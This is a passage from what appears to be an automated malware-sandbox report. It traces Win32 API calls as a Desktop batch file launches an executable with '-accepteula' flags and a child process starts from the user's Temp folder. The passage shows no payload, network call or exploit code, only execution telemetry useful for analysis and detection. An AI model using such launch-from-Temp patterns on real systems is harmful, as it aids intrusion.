-accepteula -c Run -y -p extract -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1aeae8 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessInformation=0x1aeae8*(hProcess=0x74, hThread=0x84, dwProcessId=0xda4, dwThreadId=0xda8)) returned 1 [0095.817] CloseHandle (hObject=0x84) returned 1 [0095.817] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0095.817] GetProcessHeap () returned 0x4f0000 [0095.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507718 | out: hHeap=0x4f0000) returned 1 [0095.817] GetEnvironmentStringsW () returned 0x506b80* [0095.817] GetProcessHeap () returned 0x4f0000 [0095.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb90) returned 0x507718 [0095.817] FreeEnvironmentStringsW (penv=0x506b80) returned 1 [0095.817] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0099.080] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x1ae9dc | out: lpExitCode=0x1ae9dc*=0x0) returned 1 [0099.081] CloseHandle (hObject=0x74) returned 1 [0099.081] _vsnwprintf (in: _Buffer=0x1aeb24, _BufferCount=0x13, _Format="%08X", _ArgList=0x1ae9e8 | out: _Buffer="00000000") returned 8 [0099.081] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0099.081] GetProcessHeap () returned 0x4f0000 [0099.081] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507718 | out: hHeap=0x4f0000) returned 1 [0099.081] GetEnvironmentStringsW () returned 0x506b80* [0099.081] GetProcessHeap () returned 0x4f0000 [0099.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb90) returned 0x507718 [0099.082] FreeEnvironmentStringsW (penv=0x506b80) returned 1 [0099.082] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0099.082] GetProcessHeap () returned 0x4f0000 [0099.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507718 | out: hHeap=0x4f0000) returned 1 [0099.082] GetEnvironmentStringsW () returned 0x506b80* [0099.082] GetProcessHeap () returned 0x4f0000 [0099.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb90) returned 0x507718 [0099.082] FreeEnvironmentStringsW (penv=0x506b80) returned 1 [0099.082] GetProcessHeap () returned 0x4f0000 [0099.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f0e38 | out: hHeap=0x4f0000) returned 1 [0099.082] DeleteProcThreadAttributeList (in: lpAttributeList=0x1aea40 | out: lpAttributeList=0x1aea40) [0099.082] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.082] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0099.083] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.083] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0099.083] _get_osfhandle (_FileHandle=0) returned 0x3 [0099.083] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0099.083] SetConsoleInputExeNameW () returned 0x1 [0099.083] GetConsoleOutputCP () returned 0x1b5 [0099.083] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0099.083] SetThreadUILanguage (LangId=0x0) returned 0x409 [0099.084] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1af40c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0099.084] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0099.085] _get_osfhandle (_FileHandle=3) returned 0x74 [0099.085] SetFilePointer (in: hFile=0x74, lDistanceToMove=226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504ab8 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504988 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504860 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5047e8 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504760 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504548 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c50 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c08 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f0e50 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504480 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f0e68 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504448 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5043e8 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5043b8 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504358 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5042f8 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504270 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504218 | out: hHeap=0x4f0000) returned 1 [0099.085] GetProcessHeap () returned 0x4f0000 [0099.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f0b20 | out: hHeap=0x4f0000) returned 1 [0099.086] GetProcessHeap () returned 0x4f0000 [0099.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5041c8 | out: hHeap=0x4f0000) returned 1 [0099.086] GetProcessHeap () returned 0x4f0000 [0099.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f1250 | out: hHeap=0x4f0000) returned 1 [0099.086] _get_osfhandle (_FileHandle=3) returned 0x74 [0099.086] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0099.086] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1af3f0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x1af3f0*=0x0, lpOverlapped=0x0) returned 1 [0099.086] GetLastError () returned 0x0 [0099.086] _get_osfhandle (_FileHandle=3) returned 0x74 [0099.086] GetFileType (hFile=0x74) returned 0x1 [0099.086] _get_osfhandle (_FileHandle=3) returned 0x74 [0099.086] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0099.086] GetProcessHeap () returned 0x4f0000 [0099.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x400a) returned 0x514c08 [0099.086] GetProcessHeap () returned 0x4f0000 [0099.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c08 | out: hHeap=0x4f0000) returned 1 [0099.087] _get_osfhandle (_FileHandle=3) returned 0x74 [0099.087] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0099.087] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1af3d4, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x1af3d4*=0x0, lpOverlapped=0x0) returned 1 [0099.087] GetLastError () returned 0x0 [0099.087] _get_osfhandle (_FileHandle=3) returned 0x74 [0099.087] GetFileType (hFile=0x74) returned 0x1 [0099.087] _get_osfhandle (_FileHandle=3) returned 0x74 [0099.087] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0099.087] GetProcessHeap () returned 0x4f0000 [0099.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x400a) returned 0x514c08 [0099.087] GetProcessHeap () returned 0x4f0000 [0099.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c08 | out: hHeap=0x4f0000) returned 1 [0099.087] longjmp () [0099.087] _tell (_FileHandle=3) returned 226 [0099.087] _close (_FileHandle=3) returned 0 [0099.087] CmdBatNotification () returned 0x0 [0099.087] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.087] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0099.088] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.088] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0099.088] _get_osfhandle (_FileHandle=0) returned 0x3 [0099.088] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0099.088] SetConsoleInputExeNameW () returned 0x1 [0099.088] GetConsoleOutputCP () returned 0x1b5 [0099.088] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0099.088] SetThreadUILanguage (LangId=0x0) returned 0x409 [0099.089] exit (_Code=0) Process: id = "162" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x1ebe000" os_pid = "0xd1c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "158" os_parent_pid = "0xcfc" cmd_line = "bv6ncK8c.exe -accepteula \"To_Do_List.jtp\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 716 os_tid = 0xd20 [0088.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xd81d20a0, dwHighDateTime=0x1d5d06a)) [0088.036] GetCurrentThreadId () returned 0xd20 [0088.036] GetCurrentProcessId () returned 0xd1c [0088.036] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=22999797317) returned 1 [0088.046] GetProcessHeap () returned 0x210000 [0088.046] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0088.047] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190 [0088.048] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0088.048] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0088.048] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0088.048] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0088.048] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0088.048] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0088.048] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0088.048] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0088.048] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0088.048] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0088.049] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0088.049] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0088.049] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0088.049] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0088.049] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0088.049] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0088.049] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0088.049] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0088.049] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0088.049] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0088.049] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0088.049] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0088.049] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0088.049] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0088.049] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0088.050] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0088.050] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0088.050] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0088.050] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0088.050] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0088.050] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0088.050] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0088.050] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x478) returned 0x22f050 [0088.050] GetCurrentThreadId () returned 0xd20 [0088.050] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x28) returned 0x225ed0 [0088.050] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0xb00) returned 0x22f4d0 [0088.051] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x22f050)) [0088.051] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0088.051] GetFileType (hFile=0x3) returned 0x2 [0088.051] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0088.051] GetFileType (hFile=0x4) returned 0x3 [0088.051] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0088.051] GetFileType (hFile=0xb) returned 0x2 [0088.051] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"To_Do_List.jtp\" -nobanner" [0088.051] GetEnvironmentStringsW () returned 0x22ffe0* [0088.051] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0xb36) returned 0x230b20 [0088.052] FreeEnvironmentStringsW (penv=0x22ffe0) returned 1 [0088.052] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x8c) returned 0x231660 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x138) returned 0x231700 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x3e) returned 0x226510 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x6c) returned 0x231840 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x62) returned 0x2318c0 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x78) returned 0x231930 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x62) returned 0x2319b0 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x2e) returned 0x22de00 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x48) returned 0x226560 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x28) returned 0x225f00 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x28) returned 0x225f30 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x1a) returned 0x225f60 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x4a) returned 0x231a20 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x72) returned 0x231a80 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x30) returned 0x22de40 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x2e) returned 0x22de80 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x1c) returned 0x225f90 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0xd2) returned 0x231b00 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x7c) returned 0x231be0 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x3a) returned 0x2265b0 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x90) returned 0x231c70 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x24) returned 0x225fc0 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x30) returned 0x22dec0 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x36) returned 0x22df00 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x3c) returned 0x226600 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x52) returned 0x231d10 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x3c) returned 0x226650 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x18) returned 0x231d70 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x82) returned 0x231d90 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x2e) returned 0x22df40 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x1e) returned 0x225ff0 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x2c) returned 0x22df80 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x54) returned 0x231e20 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x52) returned 0x231e80 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x2a) returned 0x22dfc0 [0088.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x3c) returned 0x2266a0 [0088.053] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x54) returned 0x231ee0 [0088.053] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x24) returned 0x226020 [0088.053] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x30) returned 0x22e000 [0088.053] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x8c) returned 0x22ffe0 [0088.053] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x230b20 | out: hHeap=0x210000) returned 1 [0088.053] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x1000) returned 0x230080 [0088.053] GetLastError () returned 0x0 [0088.053] SetLastError (dwErrCode=0x0) [0088.053] GetLastError () returned 0x0 [0088.053] SetLastError (dwErrCode=0x0) [0088.053] GetLastError () returned 0x0 [0088.053] SetLastError (dwErrCode=0x0) [0088.053] GetACP () returned 0x4e4 [0088.053] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x228) returned 0x231090 [0088.053] GetLastError () returned 0x0 [0088.053] SetLastError (dwErrCode=0x0) [0088.053] IsValidCodePage (CodePage=0x4e4) returned 1 [0088.053] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0088.053] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0088.053] GetLastError () returned 0x0 [0088.053] SetLastError (dwErrCode=0x0) [0088.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0088.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ♉苸?") returned 256 [0088.054] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ♉苸?", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0088.054] GetLastError () returned 0x0 [0088.054] SetLastError (dwErrCode=0x0) [0088.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0088.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0088.054] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0088.054] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 